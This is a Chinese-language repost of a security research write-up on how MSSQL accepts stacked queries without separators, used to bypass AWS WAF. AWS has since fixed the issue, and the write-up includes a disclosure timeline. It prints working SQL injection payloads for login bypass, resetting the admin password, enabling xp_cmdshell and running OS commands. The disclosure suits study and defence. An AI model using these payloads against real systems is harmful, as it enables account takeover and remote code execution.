由于非正统的 MSSQL 设计选择,AWS WAF 客户端容易受到 SQL 注入攻击
2023-6-26 12:2:31 Author: Ots安全(查看原文) 阅读量:15 收藏

简而言之
AWS WAF 十字线内的 MSSQL ServerMSSQL 中未记录的设计选择导致 Web 应用程序防火墙 (WAF) 供应商对 SQL 的考虑过于严格。此类问题可以绕过 WAF 提供的安全保护。这种特定的混乱是由 Microsoft 造成的,因为他们的 SQL 引擎在接受的内容上是宽松的。然而,现在 WAF 供应商需要在他们的 SQL 解析器中重新实现这种宽松的态度。自我们通知 AWS 以来,该特定问题已由 AWS 修复。请继续阅读所有血淋淋的细节
发现
去年年底,我们使用 MSSQL 来更好地理解基于时间的注入是如何工作的,因为备忘单并不总是清楚它为什么会这样工作。这样做时,当以下语句起作用时,我们感到很困惑:
SELECT * FROM test WHERE id = 1 WAITFOR DELAY'0:0:5'
查询结束时没有任何类型的终止,数据库等待五秒钟,然后生成没有任何错误的结果。起初,我们认为 WAITFOR 可能是 SELECT 查询中的有效关键字,但事实并非如此。然后,我们更进一步,连续运行两个查询并分别获取两个结果:

如果我们查看 SQL Server Profiler 中发生的情况,我们可以看到每个语句都是单独完成的,即使它们是在同一批中发送的,中间没有任何终止来分割它们:
认识到这一点,我们继续探索。我们决定连续编写多个 SQL 语句,不留任何空格:

然后,我们想知道是否可以使用 SELECT 之外的其他语句来执行此操作。此外,是否可以没有任何类型的空格或已知的空格替换(例如内联注释)?答案是肯定的,但保留关键字之间需要空格的语句除外。例如,CREATE TABLE 或 ALTER TABLE 在两个保留关键字之间仍然需要一些空格。否则,下图显示可以更改数据库上下文、创建表、在表中插入数据、从表中选择数据并删除表:

上面这批语句是:

use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]

这相当于以下内容:

use [tempdb]create table [test] ([id] int)insert [test] values(1)select [id] from [test]drop table[test]
有了所有这些信息,我们不得不想,这是公开的吗?这是设计使然还是错误?还有谁知道这件事?它可以用来绕过 Web 应用程序防火墙 (WAF) 吗?
公众所知的回顾
经过一番研究;通过查看 Microsoft 关于 MSSQL 的文档、测试人员关于 MSSQL 注入的备忘单等,我们不得不得出这样的结论:这对于公众来说是未知的,并且它可能是 MSSQL 中无意的错误。
摘自微软关于 SQL 注入的官方文档,它说“分号 (;) 表示一个查询的结束和另一个查询的开始。”:
在同一个文档中,它还指出,作为开发人员,您可以拒绝一些字符以避免 SQL 注入,其中再次包含分号:

在同一个文档中,它还指出,作为开发人员,您可以拒绝一些字符以避免 SQL 注入,其中再次包含分号:
以下内容摘自另一个名为 Transact-SQL 语法约定 的 Microsoft 文档。根据本文档,分号仅在某些情况下是强制性的,并且在未来的版本中将是强制性的。但是,它没有说明如果不存在分号如何终止语句。

我们经常看到脚本包含多个不带分号的语句,而是包含换行符和 GO 语句。我们假设在同一行上运行多个语句的唯一方法是使用分号、IF、BEGIN、CASE WHEN 或其他条件语句。尽管这个假设在某种程度上是正确的,但也可以将它与许多其他语句一起使用。
然后,根据多个测试人员的备忘单,实现堆叠查询的唯一方法是使用分号分隔符:

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md#mssql-stacked-query
我们所见过的最接近的不带分隔符的堆叠查询是在 Microsoft 文档中,其中指出大多数语句不需要分号。目前还不清楚还能做什么。大多数其他示例都是条件注入,例如:
IF (SELECT 1) = 1 WAITFOR DELAY '0:0:5' ELSE SELECT 0 END
错误还是功能?
我们的发现会让大多数数据库管理员和开发人员感到惊讶,因此,应该将其视为一个与条件注入不同的问题。因此,我们决定向 Microsoft 报告该漏洞,以确保这不是一个无意的错误,然后再向任何其他第三方公司(例如制作可以绕过此漏洞的 WAF 的公司)披露此漏洞。我们于2023年1月6日提交了报告,并于2月11日收到回复,表示“我们确定这种行为被认为是有意为之”。
这就是“bug 还是功能?”这个问题的答案。我们现在知道这实际上是设计使然。但是用这个可以在 WAF 上做什么呢?他们知道这样的功能吗?
滥用该错误绕过AWS Web应用程序防火墙(WAF)
首先,我们尝试绕过 AWS WAF,而不使用任何查询终止(例如分号),并且不使用空格,或者如果可能的话,使用已知的替代品。但我们的努力似乎对“UPDATE”、“INSERT”、“DELETE”、“SELECT”等常用关键字不起作用。突然,我们使用“EXEC”关键字打通了WAF。这意味着可以从那里执行几乎任何操作,包括使用“UNION SELECT”绕过登录、使用“UPDATE”更新用户密码等数据,甚至启用“xp_cmdshell”以获得远程代码执行。
以下示例显示用户“admin”的密码不是“testtest123”,因为应用程序响应“密码错误”:

但是,如果我们使用“UNION SELECT”关键字来设置我们自己的管理员和我们自己的密码呢?WAF本来会阻止这个请求,但是如果由于最后的“EXEC”关键字而没有任何终止,它认为该查询无效怎么办?需要注意的是,查询的第一部分是假的,因此该查询返回的唯一数据是联合中的数据,这解释了“admina”用户名中的拼写错误。

提交的查询:
admina'union select 1,'admin','testtest123'exec('select 1')--
它之所以有效,是因为从理论上讲,这批查询在 MSSQL 中是有效的,并且不会出现任何错误。在 MSSQL 中,批处理将分为两个不同的查询,如下所示:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'exec('select 1')--'
我们的目标是绕过 WAF 的限制,让 WAF 认为查询无效,这样就不会阻止它。这意味着附加的“EXEC”关键字仅用于此目的。需要注意的是,第二个查询仍将在服务器上运行,但 Web 应用程序无法访问结果。因此,“SELECT”关键字只是为了绕过 WAF,但还有其他有趣的方式来使用此功能,例如数据修改。
正如前面提到的,不可能直接使用用于修改数据的关键字,但是如果我们将它们与“EXEC”关键字一起使用,就像我们上面对“SELECT”所做的那样呢?下图显示浏览器正在使用 AWS CloudFront 并且身份验证成功。请注意,身份验证仅成功,因为在“UPDATE”发生之前密码为“admin”。图像中间显示的 Apache 日志显示,用户名参数包含恶意负载,该负载将把用户“admin”的密码修改为字母“a”。最后,图像的底部显示密码在数据库中被修改为字母“a”。

有效负载为:
admin'exec('update[users]set[password]=''a''')--
再次,它将分为两 (2) 个不同的语句,这些语句将执行以下操作:
SELECT id, username, password FROM users WHERE username = 'admin'exec('update[users]set[password]=''a''')--'
通过这个旁路还能做什么?还记得我们提到启用“xp_cmdshell”并获得远程代码执行吗?下图显示我们通过一个 HTTP 请求成功启用了“显示高级选项”和“xp_cmdshell”。图像顶部显示在 SQL Server Profiler 中被拆分为多个语句的批处理。中间显示浏览器在 AWS CloudFront 上请求的部分负载。底部显示“显示高级选项”和“xp_cmdshell”现已启用。

有效负载为:
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
在数据库服务器上执行了什么:
select * from users where username = ' admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
然后,我们使用相同的技术来执行“xp_cmdshell”并通过以下方式在系统上获得远程代码执行:

有效负载为:

admin'exec('xp_cmdshell''echo "This is a test!" > C:\Temp\test.txt''')--

在数据库服务器上执行了什么:

select * from users where username = 'admin'exec('xp_cmdshell''echo "This is a test!" > C:\Temp\test.txt''')--

现在您已经在受 AWS WAF 保护的 MSSQL 服务器上远程执行代码了。但其他 WAF 又如何呢?我们尝试绕过 Azure 的 WAF 和 ModSecurity,但没有成功。对于使用 ModSecurity 和 libinjection 的开发人员来说,需要注意一件事:通过这种技术,我们在偏执级别 1 上获得了 5 的异常分数。因此,如果您将异常分数修改为更高,则可能容易受到这种技术的影响。

具有安全影响的设计选择

这个故事中真正的问题是缺乏有关此设计选择的文档,而不是功能本身。如果记录正确且透明,WAF 开发人员将能够更好、更有效地保护自己。与其他流行的 SQL 数据库相比,这种设计选择非常不寻常,而且不正确的文档才是它的问题所在。

时间线

2022-11-03:在进行 MSSQL 研究时发现的功能。

2023-01-06:将其作为安全错误报告给 Microsoft 安全响应中心。

2023-02-11:Microsoft 回应称这是设计使然,并非安全问题。

2023-02-14:通过电子邮件向 AWS 安全团队报告 WAF 绕过情况。

2023年2月15日:AWS回应称他们将调查此事。

2023 年 3 月 13 日:AWS 回应称他们正在修复问题。

2023-06-15:AWS 回复称该问题现已修复。

2023-06-19:我们确认了修复。

结论

与许多安全问题不同,这只是一种非正统且未记录的设计选择。这种设计选择使 AWS WAF 客户端无法免受利用此特定问题的 MSSQL 注入攻击。幸运的是,AWS 反应迅速,并与我们的团队进行了良好的沟通,以确保 WAF 正确保护客户免受此问题的影响。


文章来源: http://mp.weixin.qq.com/s?__biz=MzAxMjYyMzkwOA==&mid=2247499292&idx=1&sn=1adc282edc0630d31643e7621d497751&chksm=9badb757acda3e4193348fdb49f29fef6a6162e7c37815103f58184da9df30a11acff8a27f8d#rd
如有侵权请联系:admin#unsafe.sh